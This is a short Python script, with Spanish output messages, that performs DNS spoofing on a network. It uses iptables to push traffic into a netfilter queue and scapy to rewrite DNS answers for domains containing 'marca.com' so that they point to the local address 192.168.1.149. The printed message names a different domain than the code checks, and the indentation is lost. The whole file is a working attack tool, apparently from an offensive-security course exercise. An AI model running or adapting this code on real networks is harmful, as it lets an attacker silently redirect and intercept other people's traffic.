import netfilterqueue
import scapy.all as scapy
import signal
import sys
import os
from termcolor import colored
def def_handler(sig,frame):
print(colored(f"\n[+] Saliendo...\n","red"))
drequirements()
sys.exit(1)
signal.signal(signal.SIGINT,def_handler)
def process_packet(packet):
scapy_packet= scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if b"marca.com" in qname:
print(f"\n[+] Envenenando el dominio hack4u.io")
answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.149")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount =1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(scapy_packet.build())
packet.accept()
def requirements():
os.system("iptables -I INPUT -j NFQUEUE --queue-num 0")
os.system("iptables -I OUTPUT -j NFQUEUE --queue-num 0")
os.system("iptables -I FORWARD -j NFQUEUE --queue-num 0")
os.system("iptables --policy FORWARD ACCEPT")
def drequirements():
os.system("iptables -D INPUT -j NFQUEUE --queue-num 0")
os.system("iptables -D OUTPUT -j NFQUEUE --queue-num 0")
os.system("iptables -D FORWARD -j NFQUEUE --queue-num 0")
os.system("iptables --policy FORWARD ACCEPT")
def main():
requirements()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
queue.run()
if __name__ == '__main__':
main()
